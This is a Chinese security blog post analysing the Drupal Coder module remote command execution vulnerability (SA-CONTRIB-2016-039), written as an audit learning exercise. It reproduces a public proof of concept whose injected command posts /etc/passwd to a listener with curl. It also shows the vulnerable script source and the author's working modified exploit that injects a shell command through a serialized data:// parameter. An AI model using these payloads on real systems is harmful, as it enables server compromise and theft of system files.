Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)

转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html

起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/

后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267

分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。

从exploit-db的漏洞详情中,我们可以看到这个poc:

<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)

$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";

$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>

  然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。

我们来分析:

0x00  我们首先定位漏洞的位置搞清楚执行流程

全局搜索,定位到了两处。其中的一处有我做测试时候的输出。

我们跟进去,

继续往上找。

在coder_upgrade_start函数的定义中使用了这个,继续跟进。

到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。

所以,接着我们来尝试构造exp。

0x01 构造利用的exp

在coder_upgrade.run.php中,我们看到

set_error_handler("error_handler");
set_exception_handler("exception_handler");

  这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。

我们本地测试就不去修改这个配置了。先注释掉这个判断。

<?php
/**
 * @file
 * Invokes the Coder Upgrade conversion routines as a separate process.
 *
 * Using this script:
 * - helps to minimize the memory usage by the web interface process
 * - helps to avoid hitting memory and processing time limits by the PHP process
 * - enables a batch processing workflow
 *
 * Parameters to this script:
 * @param string $path
 *   Path to a file containing runtime parameters
 *
 * The parameters should be stored as the serialized value of an associative
 * array with the following keys:
 * - paths: paths to files and modules
 * - theme_cache: path to core theme information cache
 * - variables: variables used by coder_upgrade
 * - upgrades: array to be passed to coder_upgrade_start()
 * - extensions: ditto
 * - items: ditto
 *
 * @see coder_upgrade_conversions_prepare()
 * @see coder_upgrade_parameters_save()
 * @see coder_upgrade_start()
 *
 * To execute this script, save the following shell script to a file and execute
 * the shell script from the root directory of your Drupal installation. If you
 * have changed the default coder_upgrade output directory name, then modify
 * this script accordingly.
 *
 * #!/bin/sh
 *
 * MODULES_DIRECTORY=[fill this in, e.g. all or mysite]
 * FILES_DIRECTORY=[fill this in, e.g. default or mysite]
 * CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it]
 * SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
 * RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt
 * OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt
 *
 * php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1
 *
 * Alternatively, replace the bracketed items in the following command and
 * execute it from the root directory of your Drupal installation.
 *
 * php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php  *  -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt  *  > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1
 *
 * Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)
 */

// if (!script_is_cli()) {
//   // Without proper web server configuration, this script can be invoked from a
//   // browser and is vulnerable to misuse.
//   return;
// }

// Save memory usage for printing later (when code is loaded).
$usage = array();
save_memory_usage(‘start‘, $usage);

/**
 * Root directory of Drupal installation.
 */
define(‘DRUPAL_ROOT‘, getcwd());

ini_set(‘display_errors‘, 1);
ini_set(‘memory_limit‘, ‘128M‘);
ini_set(‘max_execution_time‘, 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler");

// Read command line arguments.
$path = extract_arguments(); //获取到file参数的值
if (is_null($path)) {
  echo ‘No path to parameter file‘;
  return 2;
}

// Load runtime parameters.
$parameters = unserialize(file_get_contents($path));

// Extract individual array items by key.
foreach ($parameters as $key => $variable) {
  $$key = $variable;     //变量覆盖,也是问题发生的关键地方
}
save_memory_usage(‘load runtime parameters‘, $usage);

// Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables;
$_coder_upgrade_files_base = $paths[‘files_base‘];
$_coder_upgrade_libraries_base = $paths[‘libraries_base‘];
$_coder_upgrade_modules_base = $paths[‘modules_base‘];

//以上的赋值需要构造,否则直接退出。

// Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) {
  $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage(‘load core theme cache‘, $usage);

// Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . ‘/coder/coder_upgrade‘;
$files = array(
  ‘coder_upgrade.inc‘,
  ‘includes/main.inc‘,
  ‘includes/utility.inc‘,
);

foreach ($files as $file) {
  require_once DRUPAL_ROOT . ‘/‘ . $path . "/$file";
}

//循环去包含文件,其中的main.inc会触发漏洞

coder_upgrade_path_clear(‘memory‘);
print_memory_usage($usage);

// $trace_base = DRUPAL_ROOT . ‘/‘ . $_coder_upgrade_files_base . ‘/coder_upgrade/coder_upgrade_‘;
// $trace_file = $trace_base . ‘1.trace‘;
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print(‘load coder_upgrade bootstrap code‘);
// xdebug_stop_trace();

echo "upgrades"."<br>";
var_dump($upgrades);

echo "extensions"."<br>";
var_dump($extensions);

echo "items"."<br>";
var_dump($items);  //调试输出的信息,原来的文件并没有

// Apply conversion functions.
$success = coder_upgrade_start($upgrades, $extensions, $items);  //关键性的items变量带入

// $trace_file = $trace_base . ‘2.trace‘;
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print(‘finish‘);
// xdebug_stop_trace();

return $success ? 0 : 1;

/**
 * Returns command line arguments.
 *
 * @return mixed
 *   String or array of command line arguments.
 */
function extract_arguments() {
  switch (php_sapi_name()) {
    case ‘apache‘:
    case ‘apache2handler‘: // This is the value when running curl.
      if (!isset($_GET[‘file‘])) {
        echo ‘file parameter is not set‘;
        return;
      }
      $filename = $_GET[‘file‘];
      $action = isset($_GET[‘action‘]) ? $_GET[‘action‘] : ‘‘;
      break;

    case ‘cli‘:
      $skip_args = 2;
      if ($_SERVER[‘argc‘] == 2) {
        $skip_args = 1;
      }
      elseif ($_SERVER[‘argc‘] < 2) {
        echo ‘CLI-1: file parameter is not set‘ . "\n";
        return;
      }
      foreach ($_SERVER[‘argv‘] as $index => $arg) {
        // First two arguments are usually script filename and ‘--‘.
        // Sometimes the ‘--‘ is omitted.
        if ($index < $skip_args) continue;
        list($key, $value) = explode(‘=‘, $arg);
        $arguments[$key] = $value;
      }
      if (!isset($arguments[‘file‘])) {
        echo ‘CLI-2: file parameter is not set‘ . "\n";
        return;
      }
      $filename = $arguments[‘file‘];
      $action = isset($arguments[‘action‘]) ? $arguments[‘action‘] : ‘‘;
      break;
  }
  return $filename;
}

/**
 * Saves memory usage for printing later.
 *
 * @param string $step
 *   A string describing the code step when the memory usage is gathered.
 *
 * @return mixed
 *   String or array of command line arguments.
 */
function save_memory_usage($step, &$usage) {
  $usage[] = $step;
  $usage[] = ‘Peak: ‘ . number_format(memory_get_peak_usage(TRUE), 0, ‘.‘, ‘,‘) . ‘ bytes‘;
  $usage[] = ‘Curr: ‘ . number_format(memory_get_usage(TRUE), 0, ‘.‘, ‘,‘) . ‘ bytes‘;
  $usage[] = ‘‘;
  $usage[] = ‘‘;
}

function print_memory_usage($usage) {
  $text = ‘Missing memory usage information‘;
  if (is_array($usage)) {
    $text = implode("\n", $usage);
  }
  coder_upgrade_path_print(coder_upgrade_path(‘memory‘), $text);
}

function exception_handler($e) {
  try {
    // ... normal exception stuff goes here
  }
  catch (Exception $e) {
    print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine();
  }
}

function error_handler($code, $message, $file, $line) {
  if (0 == error_reporting()) {
    return;
  }
  throw new ErrorException($message, 0, $code, $file, $line);
}

/**
 * Returns boolean indicating whether script is being run from the command line.
 *
 * @see drupal_is_cli()
 */
function script_is_cli() {
  return (!isset($_SERVER[‘SERVER_SOFTWARE‘]) && (php_sapi_name() == ‘cli‘ || (is_numeric($_SERVER[‘argc‘]) && $_SERVER[‘argc‘] > 0)));
}

  对比原先的exp,我们加上两个变量:

"variables" => 1,
"theme_cache" => 1,

  最终的利用代码参考:

<?php 

$host = "http://192.168.30.134/test/coder/";

$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)),
    "paths" => array(
        "modules_base" => "../../..",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

 ?>

  运行的结果会在当前的目录下生成一个文件夹:

原因是因为这个:

这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。

刚开始学习审计,多有不足之处,还请指出。

时间: 2024-10-07 12:42:04

Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)的相关文章

ImageMagick 命令执行分析

ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞. 国外的安全人员为此新建了一个网站: https://imagetragick.com/ ,不得不说,有些外国人蛮会玩的. 相对于之前的数个拥有『主页』的漏洞,这个洞确实不一般,确实是一个可以被利用的好洞,乌云主站上也爆出了数个被该漏洞影响的大厂商.我们先来分析一下它出现的原

回顾HFS 2.3x 远程命令执行,抓鸡黑客的“末日”(CVE2014-6287)

去年HFS 2.3x 远程命令执行让很多人遭殃了,尤其是一部分黑客,因为很多批量养鸡的黑客都爱用它,于是乎,辛辛苦苦抓的肉鸡就与人分享了.我们分析漏洞得知由于正则表达式的问题,导致了远程代码的执行. 下面我们来本地测试一下这个漏洞的威力,为什么过了大半年还提它?因为今天随便搜了一下,用这个版本的国内还有很多,涉及到部分"抓鸡黑客"(现在还在用这个版本的估计是小菜),学校等.有趣的是,用hfs的服务器一般都开启了3389,罪恶啊.如下图. google上可以搜到更多的主机. 随便测试几个

&quot;Java 反序列化&quot;过程远程命令执行漏洞

一.漏洞描述 国 外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使用了 Apache Commons Collections 这个库,并且都存在一个序列化对象数据交互接口能够被访问到.针对每个应用,博文都提供了相应的分析和验证代码来说明 Java 应用存在远程命令执行的普遍性. 二.漏洞危害 机器上一旦有使用上述应用,即处于“裸奔”状态,黑客可随时利用此漏洞执行任意

【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

0x00复现环境 ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell) 0x01步骤 点击start to hack 进入环境页面 run the project 然后访问给出的target address1.执行系统命令显示目录下文件 http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_fun

WebLogic远程命令执行

靶机说明 目标ip:172.16.53.28(window 2003) 本靶机所针对的序列化漏洞系列以及常见安全问题如下: 弱口令登陆控制台部署war包webshell CVE-2018-2893 CVE-2018-2628 CVE-2017-10271 CVE-2017-3248 CVE-2016-3510 CVE-2015-4852 weblogic ssrf 远程登陆靶机开启weblogic服务,以及方便后续观察远程命令执行的效果 靶机登陆账号/密码:Administrator/secqu

【知道创宇404实验室】Oracle WebLogic远程命令执行漏洞预警

2019年04月17日,国家信息安全漏洞共享平台(CNVD)官方发布安全公告 http://www.cnvd.org.cn/webinfo/show/4989 称Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞,***者可利用该漏洞,可在未授权的情况下远程执行命令.随后知道创宇404实验室启动应急流程,通过分析后复现了该漏洞并确定该漏洞影响启用了wls9_async_response.war及wls-wsat.war组件的所有Weblogic版本(包括最新版本

Apache SSI 远程命令执行漏洞

漏洞原理:在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件.如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->语法执行任意命令. 漏洞复现:shtml包含有嵌入式服务器方包含命令的文本,在被传送给浏览器之前,服务器会对SHTML文档进行完全地读取.分析以及修改.正常上传PHP文件是不允许的,我们可以上传一个shell.shtml文件: <!--#exec cmd="

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行. 参考文章:https://xz

CVE-2019-0193 远程命令执行-漏洞复现

0x01 漏洞简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现.此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据.它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置.由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行. 0x02 环境搭建 我这里使